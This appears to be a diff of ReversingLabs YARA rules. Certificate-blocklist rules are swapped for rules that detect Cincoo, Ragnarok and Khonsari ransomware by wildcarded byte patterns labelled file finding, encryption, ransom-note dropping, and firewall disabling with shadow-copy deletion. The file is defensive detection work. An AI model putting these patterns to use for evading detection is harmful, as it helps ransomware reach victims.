FF D6 59 88 18 59 8D 85 ?? ?? ?? + ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 59 8D 8D ?? ?? ?? ?? E8 + ?? ?? ?? ?? 53 53 53 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F 5E 85 C0 74 ?? 8D 45 ?? 8D + 8D ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 89 5D ?? E8 ?? ?? ?? ?? 3B C3 74 ?? FF 75 ?? 50 E8 + ?? ?? ?? ?? 59 3B C3 59 74 ?? 68 ?? ?? ?? ?? 50 E8 + } + $main_6 = { + FF 74 24 ?? FF 74 24 ?? FF 74 24 ?? FF 74 24 ?? E8 ?? ?? ?? ?? C2 + } + $set_reg_key_6 = { + 68 ?? ?? ?? ?? F3 AB 66 AB AA 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 FF 15 ?? ?? ?? + ?? 8B 2D ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 83 C4 ?? 33 FF 89 7C 24 ?? 85 FF 75 ?? 8D 4C + 24 ?? 8D 54 24 ?? 51 52 68 ?? ?? ?? ?? EB ?? 8D 44 24 ?? 8D 4C 24 ?? 50 51 68 ?? ?? + ?? ?? FF 15 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 85 + C9 74 ?? 8D 94 24 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? FF D5 8D BC 24 ?? ?? ?? ?? 83 C9 ?? + 33 C0 F2 AE F7 D1 8D 84 24 ?? ?? ?? ?? 51 8B 4C 24 ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? + 51 FF D3 8B 7C 24 ?? 8B F0 F7 DE 1B F6 46 EB ?? 8D 54 24 ?? 8D 8C 24 ?? ?? ?? ?? 52 + 51 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 C7 44 24 ?? ?? ?? ?? ?? FF 15 + } + $download_tor_6 = { + 81 EC ?? ?? ?? ?? 53 55 56 57 E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? A0 ?? ?? ?? ?? + B9 ?? ?? ?? ?? 88 44 24 ?? 33 C0 8D 7C 24 ?? 8B 35 ?? ?? ?? ?? F3 AB 68 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 66 AB 68 ?? ?? ?? ?? 8D 4C 24 ?? 33 ED 68 ?? ?? ?? ?? 51 89 2D ?? ?? + ?? ?? 89 2D ?? ?? ?? ?? AA FF D6 8B 1D ?? ?? ?? ?? 83 C4 ?? 8D 54 24 ?? 52 FF D3 83 + F8 ?? 0F 85 ?? ?? ?? ?? 55 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 + C0 75 ?? 5F 5E 5D 5B 81 C4 ?? ?? ?? ?? C3 A0 ?? ?? ?? ?? B9 ?? ?? ?? ?? 88 84 24 ?? + ?? ?? ?? 33 C0 8D BC 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? F3 AB 66 AB 68 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 AA FF D6 83 C4 ?? 8D 94 24 ?? ?? ?? + ?? 52 FF D3 83 F8 ?? 75 ?? 5F 5E 5D 32 C0 5B 81 C4 ?? ?? ?? ?? C3 + } + $main_7 = { + 68 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 + FF D6 59 85 C0 59 74 ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 FF D6 59 88 18 59 8D 85 ?? ?? ?? + ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 59 8D 8D ?? ?? ?? ?? E8 + ?? ?? ?? ?? 53 53 53 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F 5E 85 C0 74 ?? 8D 45 ?? 8D + 8D ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 53 8F 45 ?? E8 ?? ?? ?? ?? 39 44 24 ?? 74 ?? 89 44 + 24 ?? 83 EC ?? 2B C3 58 74 ?? FF 75 ?? 50 E8 ?? ?? ?? ?? 59 89 44 24 ?? 83 EC ?? 2B + C3 58 59 74 ?? 68 ?? ?? ?? ?? 50 E8 + } + $main_8 = { + 68 ?? ?? ?? ?? F3 AB 66 AB AA 8D 44 24 ?? 50 6A ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? + ?? 8D 4C 24 ?? 6A ?? 51 FF D6 83 C4 ?? 85 C0 74 ?? 8D 54 24 ?? 6A ?? 52 FF D6 83 C4 + ?? C6 00 ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F + 5E 85 C0 74 ?? 8D 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 54 24 ?? 52 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 + ?? 68 ?? ?? ?? ?? 50 E8 + } + $entrypoint_all = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? + ?? 83 EC ?? 53 56 57 89 65 ?? 33 DB 89 5D ?? 6A ?? FF 15 ?? ?? ?? ?? 59 83 0D ?? ?? + ?? ?? ?? 83 0D ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 08 FF 15 ?? ?? + ?? ?? 8B 0D ?? ?? ?? ?? 89 08 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 39 + 1D ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 FF 35 ?? ?? ?? + ?? 8D 45 ?? 50 8D 45 ?? 50 8D 45 ?? 50 FF 15 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Megabit, OOO" and pe.signatures [ i ] . serial == "0f:bc:30:db:12:7a:53:6c:34:d7:a0:fa:81:b4:81:93" and 1466121599 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $entrypoint_all at pe.entry_point ) and ( $main_1 or $main_2 or ( $main_3 and $start_service_3 ) or $main_4 or $main_5 or ( $main_6 and ( $set_reg_key_6 or $download_tor_6 ) ) or $main_7 or $main_8 ) } - -rule REVERSINGLABS_Cert_Blocklist_08448Bd6Ee9105Ae31228Ea5Fe496F63 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Cincoo : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "The digital certificate has leaked." + description = "Yara rule that detects Cincoo ransomware." author = "ReversingLabs" - id = "489ffe25-43cf-55b6-b249-17d251b9774e" - date = "2020-08-05" - modified = "2023-11-08" + id = "c7c2773c-5056-5127-8af7-7f5c5a8ea8a1" + date = "2022-06-21" + modified = "2022-06-21" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2266-L2282" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Cincoo.yara#L1-L78" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "9bc044b4fdf381274a2c31bc997dcdfd553595d92de7b33dc472353a00011711" + logic_hash = "6a7562cae90754ea75a9fb98ce73ebdb9acf1ad7f28f2240abe6cb592d717ca3" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Cincoo" + tc_detection_factor = 5 importance = 25 + strings: + $find_files = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 53 56 57 A1 ?? ?? ?? ?? + 33 C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 55 ?? 8B D9 83 7B ?? ?? 8B F3 8B 45 ?? 8B 7D + ?? 89 45 ?? 72 ?? 8B 33 8D 4E ?? 66 8B 06 83 C6 ?? 66 85 C0 75 ?? 2B F1 D1 FE 0F 84 + ?? ?? ?? ?? 3B 73 ?? 0F 85 ?? ?? ?? ?? 88 45 ?? 8D 55 ?? FF 75 ?? 8D 4D ?? C7 45 ?? + ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? C7 45 ?? ?? ?? ?? + ?? 50 8B CB E8 ?? ?? ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B + C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? + ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 7B ?? ?? 72 ?? 8B 1B 8B 75 ?? 57 56 53 E8 ?? ?? + ?? ?? 85 C0 75 ?? 8B 36 8B CF E8 ?? ?? ?? ?? 84 C0 74 ?? 57 56 E8 ?? ?? ?? ?? 85 C0 + 75 ?? 8B CF E8 ?? ?? ?? ?? 84 C0 75 ?? 33 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E + 5B 8B E5 5D C3 + } + $encrypt_files = { + 55 8B EC 83 EC ?? 8B 45 ?? 53 8B D9 89 45 ?? B9 ?? ?? ?? ?? 8B C1 56 8B 53 ?? 2B C2 + 8B 75 ?? 89 55 ?? 57 3B C6 0F 82 ?? ?? ?? ?? 8B 7B ?? 8D 04 32 8B F0 89 45 ?? 83 CE + ?? 89 7D ?? 3B F1 76 ?? 8B F1 EB ?? 8B C7 D1 E8 2B C8 3B F9 76 ?? BE ?? ?? ?? ?? EB + ?? 03 C7 3B F0 0F 42 F0 33 C9 8B C6 83 C0 ?? 0F 92 C1 F7 D9 0B C8 81 F9 ?? ?? ?? ?? + 72 ?? 8D 41 ?? 3B C1 0F 86 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? + ?? ?? 8B 55 ?? 8D 78 ?? 83 E7 ?? 89 47 ?? EB ?? 85 C9 74 ?? 51 E8 ?? ?? ?? ?? 8B 55 + ?? 83 C4 ?? 8B F8 EB ?? 33 FF 8B 45 ?? 89 43 ?? 8B 45 ?? 89 73 ?? 8D 34 3A 03 C6 83 + 7D ?? ?? 89 45 ?? 52 72 ?? 8B 33 56 57 E8 ?? ?? ?? ?? FF 75 ?? 8B 45 ?? FF 75 ?? 03 + C7 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 8B 4D ?? 41 C6 00 ?? 81 F9 ?? ?? ?? ?? 72 ?? + 8B 56 ?? 83 C1 ?? 2B F2 8D 46 ?? 83 F8 ?? 77 ?? 8B F2 51 56 E8 ?? ?? ?? ?? 83 C4 ?? + 89 3B 8B C3 5F 5E 5B 8B E5 5D C2 ?? ?? 53 57 E8 ?? ?? ?? ?? FF 75 ?? FF 75 ?? 56 E8 + ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? C6 00 ?? 8B C3 89 3B 5F 5E 5B 8B E5 5D C2 ?? ?? E8 ?? + ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC CC CC 56 8B F1 FF 76 ?? E8 ?? ?? ?? ?? 8B + 4E ?? 83 F9 ?? 72 ?? 8B 06 8D 0C 4D ?? ?? ?? ?? 81 F9 ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 + C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 77 ?? 8B C2 51 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 46 ?? ?? + ?? ?? ?? 33 C0 C7 46 ?? ?? ?? ?? ?? 66 89 06 5E C3 E8 ?? ?? ?? ?? CC CC CC CC CC CC + 8B 09 85 C9 74 ?? 8B 01 6A ?? FF 10 C3 + } + $drop_ransom_note = { + 52 51 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 74 ?? 8D 4D ?? C6 46 ?? ?? + E8 ?? ?? ?? ?? 8B 45 ?? E9 ?? ?? ?? ?? 8B CE C6 45 ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 84 + ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? + ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? + 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 8D + 4E ?? 50 E8 ?? ?? ?? ?? 81 CF ?? ?? ?? ?? 89 BD ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? + ?? ?? 8B C2 8B 8D ?? ?? ?? ?? 2B C1 89 8D ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 83 F8 ?? + 72 ?? 83 FA ?? 8D B5 ?? ?? ?? ?? 8D 41 ?? 0F 43 B5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D + 04 0E 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? C6 44 30 ?? ?? 8D 85 ?? ?? ?? ?? + EB + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Raffaele Carnacina" and pe.signatures [ i ] . serial == "08:44:8b:d6:ee:91:05:ae:31:22:8e:a5:fe:49:6f:63" and 1445212799 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) and ( $drop_ransom_note ) } - -rule REVERSINGLABS_Cert_Blocklist_02F17566Ef568Dc06C9A379Ea2F4Faea : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Ragnarok : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "The digital certificate has leaked." + description = "Yara rule that detects Ragnarok ransomware." author = "ReversingLabs" - id = "a14e16ff-844c-53ff-9297-8760265da747" - date = "2020-08-05" - modified = "2023-11-08" + id = "263a671e-dfdb-5ab8-9bb9-355c76a88c10" + date = "2020-07-07" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2284-L2300" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Ragnarok.yara#L1-L110" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e3ec8a6de817354862880301e78a999f45f02c2fa8512bba6d27c9776f1a3417" + logic_hash = "aaa17ab98b59a5c8c71a2b82a9bf29dd3a1a1719deaf08a3bafa77895bc10311" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Ragnarok" + tc_detection_factor = 5 importance = 25 + strings: + $find_files_p1 = { + 8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 57 8B 7D ?? 2B CA 8B C7 41 + F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 5F 8B E5 5D C3 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 + ?? ?? ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 + 75 ?? FF 75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B + 5D ?? 8B CB E8 ?? ?? ?? ?? 33 FF 89 45 ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 8B 75 ?? 59 + EB ?? 8B 43 ?? 89 30 8B F7 83 43 ?? ?? 57 E8 ?? ?? ?? ?? 59 8B C6 5E 5B EB ?? 33 FF + 57 57 57 57 57 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 + C5 89 45 ?? 8B 4D ?? 8B 55 ?? 53 57 8B 7D ?? 89 95 ?? ?? ?? ?? 3B CF 74 ?? 8A 01 3C + ?? 74 ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8B 95 + ?? ?? ?? ?? 8A 01 88 85 ?? ?? ?? ?? 3C ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 52 33 DB 53 53 + 57 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 33 DB 3C ?? 74 ?? 3C ?? + 74 ?? 3C ?? 8A C3 75 ?? B0 ?? 2B CF 0F B6 C0 41 89 9D ?? ?? ?? ?? F7 D8 89 9D ?? ?? + ?? ?? 56 1B C0 89 9D ?? ?? ?? ?? 23 C1 89 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 9D ?? + ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 57 E8 + } + $find_files_p2 = { + 83 C4 ?? 8D 8D ?? ?? ?? ?? F7 D8 1B C0 53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF + 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 ?? FF B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4 + ?? 8B D8 E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? + 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? + ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 + 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 + 38 ?? 75 ?? 8A 48 ?? 84 C9 74 ?? 80 F9 ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF + B5 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? + ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? + ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? + 2B C2 C1 F8 ?? 3B C8 74 ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? + 83 C4 ?? EB ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? + ?? ?? 59 8B D8 56 FF 15 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 5E 74 ?? FF B5 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 59 8B C3 8B 4D ?? 5F 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $encrypt_files_p1 = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 8B 4D ?? 56 57 89 + 85 ?? ?? ?? ?? 33 FF 33 C0 89 8D ?? ?? ?? ?? 6A ?? 51 89 85 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 83 C4 ?? 8D 70 ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 40 ?? 8A 0E + 3A 08 75 ?? 84 C9 74 ?? 8A 4E ?? 3A 48 ?? 75 ?? 83 C6 ?? 83 C0 ?? 84 C9 75 ?? 33 C0 + EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 53 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 + 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 F6 8B 40 ?? 8B F8 E8 ?? ?? ?? ?? + 33 D2 B9 ?? ?? ?? ?? F7 F1 8A 04 3A 88 04 1E 46 83 FE ?? 7C ?? FF B5 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 33 C9 23 F9 89 8D ?? ?? ?? ?? 3D ?? ?? ?? ?? + 0F 87 ?? ?? ?? ?? 48 83 E0 ?? 83 C0 ?? 50 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? + ?? ?? FF B5 ?? ?? ?? ?? 8B F0 89 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF + } + $encrypt_files_p2 = { + 0F 84 ?? ?? ?? ?? 57 FF B5 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 57 8B F0 E8 ?? ?? ?? + ?? 83 C4 ?? 33 FF 3B B5 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 33 C0 3B 85 ?? ?? ?? ?? 0F 85 + ?? ?? ?? ?? 53 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF B5 ?? ?? ?? + ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 50 53 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 85 ?? ?? ?? + ?? 57 68 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 3D ?? ?? ?? ?? 75 ?? 57 6A ?? + 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 57 FF B5 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? + ?? 83 C4 ?? 3B 85 ?? ?? ?? ?? 75 ?? 57 E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 33 FF 56 E8 + ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 50 E8 ?? ?? ?? + ?? 83 C4 ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? 5B 85 C0 74 ?? + 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 FF 74 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 5F 33 CD + 5E E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $disable_fw_and_delete_shadow_volumes = { + 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 40 ?? 50 E8 ?? ?? ?? ?? 83 + C4 ?? 85 C0 74 ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A + ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 40 ?? 50 6A ?? FF D7 E9 ?? ?? + ?? ?? 6A ?? FF 35 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 40 ?? + 50 FF 35 ?? ?? ?? ?? FF D3 6A ?? FF 35 ?? ?? ?? ?? 8B F0 E8 ?? ?? ?? ?? 8B 48 ?? 51 + FF 35 ?? ?? ?? ?? FF D3 8B F8 8D 85 ?? ?? ?? ?? 50 FF D6 8D 45 ?? 50 8D 85 ?? ?? ?? + ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B 40 ?? 50 6A ?? FF 95 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A + ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 35 ?? + ?? ?? ?? 8B 40 ?? 50 6A ?? FF D6 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? + 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 40 ?? 50 6A ?? + FF D6 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? + ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 40 ?? 50 6A ?? FF D6 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VALERIANO BEDESCHI" and pe.signatures [ i ] . serial == "02:f1:75:66:ef:56:8d:c0:6c:9a:37:9e:a2:f4:fa:ea" and 1441324799 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $disable_fw_and_delete_shadow_volumes ) and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_7D824Ba1F7F730319C50D64C9A7Ed507 : INFO FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Khonsari : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Khonsari ransomware." author = "ReversingLabs" - id = "4372aea7-a25b-5211-befd-9e0bcfb09199" - date = "2020-08-05" - modified = "2023-11-08" + id = "c3c64256-af1f-5a9d-8a59-8d72993bb8da" + date = "2022-01-27" + modified = "2022-01-27" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2302-L2318" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Khonsari.yara#L1-L68" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "407611603974c910d9a6a0ed71ecdf54ddcc59abb0f48c60846e61d6d4191933" + logic_hash = "f1003b7863215bcd8e5cdce8ce40551105fb668ea2b8ac765909f9fa5373e6ca" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Khonsari" + tc_detection_factor = 5 importance = 25 + strings: + $find_files = { + 73 ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? + 13 ?? 11 ?? 13 ?? 11 ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 28 ?? ?? ?? ?? 0B + 16 0C 2B ?? 07 08 9A 0D 09 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 ?? 72 ?? + ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 09 + 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 08 17 58 0C 08 07 8E 69 32 ?? 06 1B 28 ?? ?? ?? ?? 